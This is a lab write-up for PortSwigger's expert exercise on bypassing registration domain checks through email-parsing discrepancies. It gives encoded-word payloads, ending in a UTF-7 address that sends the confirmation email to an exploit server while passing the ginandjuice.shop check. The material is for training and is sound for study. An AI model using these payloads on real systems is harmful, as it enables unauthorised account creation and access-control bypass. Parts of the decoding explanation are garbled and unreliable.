Labs Covered

This write-up focuses on the following EXPERT-level lab from the PortSwigger Web Security Academy:

12 Bypassing access controls using email address parsing discrepancies

This lab demonstrates how discrepancies in email address parsing between different components of an application can be exploited to bypass access controls.

LAB 12 - Bypassing access controls using email address parsing discrepancies

Lab Description :

Solution :

Identify the registration restriction:

Navigate to the lab environment provided in the exercise.
Click on the Register button to open the account registration form.
Use the following email during registration:

Notice that the application blocks the request and displays an error message stating that the email domain must be ginandjuice.shop. This indicates the server enforces a domain check during registration

Investigate encoding discrepancies:

Try to register an account with the following email: ?iso-8859-1?q?=61=62=63?=foo@ginandjuice.shop This is the email abcfoo@ginandjuice.shop, with the abc portion encoded using Q encoding, which is part of the “encoded-word” standard.

Notice that the registration is blocked with the error: “Registration blocked for security reasons.”

Try to register an account with the following UTF-8 encoded email: =?utf-8?q?=61=62=63?=foo@ginandjuice.shop

Try to register an account with the following UTF-7 encoded email: =?utf-7?q?&AGEAYgBj-?=foo@ginandjuice.shop

Email register succesfully with UTF-7 encoding:

Notice that this attempt doesn’t trigger an error. This suggests that the server doesn’t recognize UTF-7 encoding as a security threat. Because UTF-7 encoding appears to bypass the server’s validation, you may be able to use it to craft an attack that tricks the server into sending a confirmation email to your exploit server email address while appearing to still satisfy the ginandjuice.shop domain requirement

Exploit the vulnerability using UTF-7:

Payload = ?utf-7?q?hanzala&AEA-exploit-0ac00054036ef89280a82557012f00a4.exploit-server.net&ACA-?=@ginandjuice.shop

Decoding the Components:

1. UTF-7 Encoding: ○ The AEA- and ACA- parts are used to encode special characters. In this case, they represent the characters @ and spaces. 2. Decoded Email: * ○ When you decode the entire string, you get: ` attacker@[YOUR-EXPLOIT-SERVER_ID]@ginandjuice.shop`

Click Email client. Notice that you have been sent a registration validation email. This isbecause the encoded email address has passed validation due to the @ginandjuice.shop portion at the end, but the email server has interpreted the registration email as attacker@[YOUR-EXPLOIT-SERVER-ID].

1 Click the confirmation link to activate the account.